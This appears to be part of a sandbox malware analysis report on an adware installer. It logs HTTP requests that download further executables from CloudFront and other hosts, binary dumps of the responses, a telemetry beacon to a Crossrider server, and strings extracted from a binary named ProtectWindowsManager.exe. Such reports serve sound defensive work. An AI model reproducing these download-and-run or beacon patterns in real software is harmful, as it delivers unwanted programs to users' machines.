GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273051-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: e4rs9u6_8sCgESiCJ1-zuT8HwYsSWREdoMt9l5FblPK11I8kbIorLw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273100-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: jmr3B25XYAxyCk9OepbpGBkx3b0_1HRwCOkeOY0a6yPkianQMk21UQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273149-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: oTTgOSD2312fzMZrm2BKn6Z1I-v7ssd3lhStl5rydZgaWGYenATrgg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273198-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 85mfOhMOur4dUP9f0i5LcOhgQjrcuR9oN8C8aiTcHbv-b50AwCV_tA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273247-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 465qAJIH2psB7nAZzINVCW1jqjilFr6LuNBT8dnk2LNNwEl5bGml8w==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273296-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: tmClrxFaIZ3iEak-9aY7_oQfLWnxheWFd6TeO52HEfXJOqLQlVhwpg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273345-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: QrT-T0iNzpL8tarlKsTtCrPonUuY3btnZEiaJAFdLzftwqdFOpkxYg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273394-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: uruH9l5pdgogytmQTOu6Q61jFYtp49s5bgJwuuVwpz5CuQiEpiyUAw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273443-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:31 GMT

Expires: Wed, 11 Feb 2015 02:30:31 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 7pYzRiPlgWNCHz2FJfqPBbfxMRUUBCl9mZo6tqXZha4CbytGcRGN2g==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273492-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: U_RQ-WBy3pYfyTJdvin2TwEwADdKA0wfpYatF4zea0gBMK3ET81bXQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273541-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OdJL8HnxXvtouUtShJS9_kQh_qokSKmwAHRdEeafR5GvmnOcysr5lA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273590-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: z2fIQ4Ks-jt_Em4JUKAt47IYsKK6E0NXqzM2PvPssgYO2uk9ZZA1Ig==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273639-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: WqSIZkpWrJ-Lj6VNkwdks72DMG-J4Xz-S10fjCwZQFnR5WCfddZ0DQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273688-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: YdU4RJw8AfHvDJC9ewgPVXCyTm41Uj1fx4h_jLSq9GFiVpaSGwG4qw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273737-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _yCfiPyoXjBqCDxQeBNnOumaxRgSduGydC-RLDdPNOgH8-tnYHmvOA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273786-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 4YXPE5am__5qi0UBOiJuy_LQLXSNBBTUcWlkBgGk4j6Z36QCQX1RVA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273835-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: cVD02uHfi10az253zYrWH8Pup-srQE-MGezOfZeWHuSg02iQBxA-4g==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273884-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: uU16X0znUm5asgA94J_hbl-qXA1iuwoS25TDCTUBiJG_1hiAAkuoGA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273933-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _VFXCG_lOxG5z2Gr_wYI3hXTgxMtLG880petAGp0G2TXGi1g6vyHLg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1273982-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: q3WxTLwL9d0GY3QHCvdKMrDEU3AY6CiGiE8O_S-7Mu2zYqmQRhDrTQ==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1274031-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: DOyH12MTI9gDDt74rBsOreE3D5VDKY_8qZLcrsaGDcrXkFnkdef7Iw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1274080-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: XH4sZIjQvqPaaRfmL44g6Kgeh_l41Xg6y_NjUsU5pJP6eRPC8qYtBw==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1274129-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _ZX4y7eb5uoDz3Lc_gc5txqVK8S8A8lIdtfdK8r4ZpY46dYtn-cMww==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1274178-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Oyx3DQ9HfQSuQZ0yoZjwPZvCLr72OVvAku4VoU2fPqeXjTtIF9a8DA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1274227-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: S4hgA2GDghq9xZScz5h2HIAPkw7q9s0ZjsESnocsdpnhp8GQQ3jiPA==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1274276-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: keep-alive

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: USjNyT6Au_Cm0k2mp0jqKMOeHhjkHuEkBJVvtwKGb5g2CWjLtXKGzg==
<html><body>Sorry, invalid request</body></html&g
t;.....


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1274325-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 416 Requested Range Not Satisfiable

Content-Type: text/html

Content-Length: 49

Connection: close

Server: CloudFront

Date: Wed, 11 Feb 2015 02:30:32 GMT

Expires: Wed, 11 Feb 2015 02:30:32 GMT

X-Cache: Error from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: koHlRqtn-W-_xAzbNtNLEdWOVINN60OjseWarW8n0Yo6_OGV5v8G0Q==
<html><body>Sorry, invalid request</body></html&g
t;...

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=249864-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache



..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u.....6....$..}2..6.....h.U#.......j..=.{.4..}....@)..K...%...z^cxR."
.b....j.....T....U?is.3..L.D-v..{P....P....\...*..........NI.n.y...M..
..@...?d`N..k^...}....o5U.(..:'..|.c..wQ....)..T..y..uz.8......H...A..
..'}5....W.....u...@ ...s)........x..d.X.zz.p.....(.......c1..g.......
S..Q....Ae..&P;7./...A...%)'....~.q.T.3..j2..1..S.C..Dq.`...c.yZOpP..1
...z...D.3.f.__.F:.H......I..@.~...t..c.p.W.U."...1].>9..d:...i.6..
.....G{.mh..'...d..|{....:<.TZ..2I...._yI.fpG....S.??,[email protected]=r
.....{z.Q...Q.~.......t......1.]..Sf(.QD...6.%...5\.&HW......h.n*.j.cn
k..]....fz....W@... ..w...}.8...h.`n...........9>o.0.....pa.....U..
\e..%J.....`....OF.{.P &.....v..bk..n.c.M&..(.....8e.YZMw..R.M]Qa....o
.p.$g.D._.C...5........F.Pu{..n6...[.....T.&..N^[email protected].`2.<<< skipped >>>

GET /utility.gif?error=mem_strt&report=mini_s&ver=820&action=na&ms_vr=3&clock=3572&rnd=18345 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Wed, 11 Feb 2015 02:31:32 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

Range: bytes=11315181-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 11 Feb 2015 02:29:35 GMT

Content-Type: application/octet-stream

Content-Length: 11315180

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Content-Range: bytes 11315181-22630360/22630361
]....XA).'WWGpMO.a.9..>.^..3..~.....&........qK.......0.M]a.n......
D.Z.......l..?m...W...........=2..2..y=..3T.C..OZ..............[.... .
..jc-._....X}.Q...K.Ii..=9....wKy.....I..Mk.}?.Up....?.....7..V.|g,.d.
......U..\....ka....G%......w.. ..I...P.l..................8.....}.g..
....B...ri>/1G.eZ.....T...>....W.....x5NQ9.Lq.....I...?.k.......
...!N..G..kD. .....Q...#........|[[email protected]^...
[.....!3!....z...Y........S........3*....Y$}..4M..G...r.A. BYVUv......
lf.....`.._....M91.|SQ."m.X.i......|.~q..R1iD...z..b(..u.LBC...m.n~...
...TZ.`.%zb/nB.83...X.}.k.......%...b ..g.v..s..lK.v^..4~2........o5T.
<..k.7..p.{...........$.....)].Mbg...L6.E.Z.R.].B.v.l<.&L...sVpw
P..I% ..&...../..M&{.F6...7.y.Mn[...#......x...pR..ZT.1....9.V.N..mW..
!r...JO....fZ..]...-..:.N7r.Opa.y. mAr.$.,.1..tm...KS.%[email protected].^I.
..rM...%.at.b.-..T......H...b.........K.UJk|....e..@.$..zS..*`..."Z&..
G.{L.......N..p.>~.z...5(................;..W.#.=.....*.j..|..y....
..Z.L......."......p`.c.@$.... .H5........F.h.G0Y. ...t@,...cZ...&j..&
lt;..3S.3.......!..i."..$..h......e?.O.Y.,J.^T.q........rA...b..Z.....
...F.zW4....*H...C.g....F..P..o.D.Uv.....?.4{.bB...Z~8 .].*W9...-...._
x.G.W.'{...........R.-.X.XF....06l<x8CO?.>......>. #~_1 JN...
....=...i.....q...d.F...$.g......BSQn,P..G.. fI.....hJ...]....>....
.!.....&aHpMV..g..#%|P..\.?....5.j..7.........K.x.....w.";..pv..,'.(..
...A.>....J?....0...&a...imA..S..~..6...#....]..$8#$.&N..[..W.E...!
oMQ.......q.....FV.....B*.. |./..u._#....|..r.f..F..X....,..L&..Q.<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=178475-

User-Agent: Better Installer(Mozilla)

Host: d22bq5tzj1f5l6.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 107083

Connection: keep-alive

Date: Sun, 08 Feb 2015 06:12:59 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 178475-285557/285558

Age: 2517

X-Cache: Hit from cloudfront

Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: rqPmAc9g_pozTnjZA9JYe3HpXdWwnJPF6mF9Cj3_SC0jU3YiJ_UnSg==
w.N>.Pq..A)...[N......B.x../.>[email protected]..
N.Z......j..&...h....A.hO..\....'.....sj.`.....H.S.|.s=.......I.)L>
...c....i.>.....G.u..H.D....P......qC0<.(...m..y.dm.\1N.m...v.T`
- .Ss. .G2..rk.......N{[email protected].......}......6P$....2
.52..!.x....L.R. [email protected],.].\...a..........k
.....A.....P....u`..I.///....b~.y..^...P...z..p..:.d.....R.4....U. ...
../.M]..~.........(...... y.).. ..In.I.)..ua.*..N!Q.......1.e..b)F5...
x.bS..f..|q.H..K...V.`.^...x!Su4_"?...uc.tY.m...%....r..be.z. ....0.^.
....]y........)... .u_/..V..6).v..\.7n-z.q.............Y.w.oBk..f..}..
[email protected]. .*.b.;..).....|.\@c..)......H.P..;......!"...gN.......9W..
.. ......NJJJ....N|..)T..aU..1....5~.G...=d.m..Qfl..?.yO|e...`.sXm$Op;
."p................t=V.........Q....f.r0.........i...M......E....Y.../
....N.7/.;.....|..R...(./.4..{)..~.M....).......f.w...6.^.0TB...H..c..
.....^-a.G`0ub..|a;.C..T.<..N/......^..>."....f..$..d.=.X0..x4R.
..W...=.....`..w.$\a/.~R.~<.....jS.q.es....-.....#W#.D.4H...tw...&.
A.w/...t...[H"D....9E].....A....B<D.7[.2.3.!.......P.......R..R._.I
...y........([email protected].\D.k.2....3..".".......
.p...?_X.........$v.....,......\.V..EV.G...........Z.DO....B..V...%.D.
...].n..`...H.!..=<.. Y.*l..].j.u.d.o.M.i...>..m........$K..@...
..]~.H.z.p.O.?.i.&.U.....U."<..o.S#..x.....s..g.[.....A.6~'-.1D....
....`Pim2....;.xsV2.'7.#..jlW.1-..4......h ..~...oV..."...]|..i=.....V
(.....e..!..EU.d....ui..9).....^P.o.g..e..H.1x.....\.#..D....G.w.p<<< skipped >>>

The Application connects to the servers at the folowing location(s):

ProtectWindowsManager.exe_3332:

.text

`.rdata

@.data

.rsrc

@.reloc

j.Yf;

_tcPVj@

.PjRW

SHELL32.dll

function not supported

operation canceled

address_family_not_supported

operation_in_progress

operation_not_supported

protocol_not_supported

operation_would_block

address family not supported

broken pipe

inappropriate io control operation

not supported

operation in progress

operation not permitted

operation not supported

operation would block

protocol not supported

GetProcessWindowStation

operator

MaxPolicyElementKey

pExecutionResource

SHLWAPI.dll

USERENV.dll

%dYeArdMoNthdDaY

file_url

GET %s%s%s HTTP/1.1

Host: %s

%sUser-Agent: Mozilla/4.0 %s

POST %s HTTP/1.1

%sContent-Type: %s

User-Agent: Mozilla/4.0

Content-Length: %u

%*s %d %*s

%*[ ]%[^

?456789:;<=

!"#$%&'()* ,-./0123

ShellExecuteExW

SHDeleteKeyW

GetWindowsDirectoryA

GetProcessHeap

GetSystemWindowsDirectoryW

KERNEL32.dll

USER32.dll

RegCreateKeyExW

RegCloseKey

RegOpenKeyExW

RegCreateKeyW

ReportEventW

RegOpenKeyW

ADVAPI32.dll

PSAPI.DLL

InternetCrackUrlW

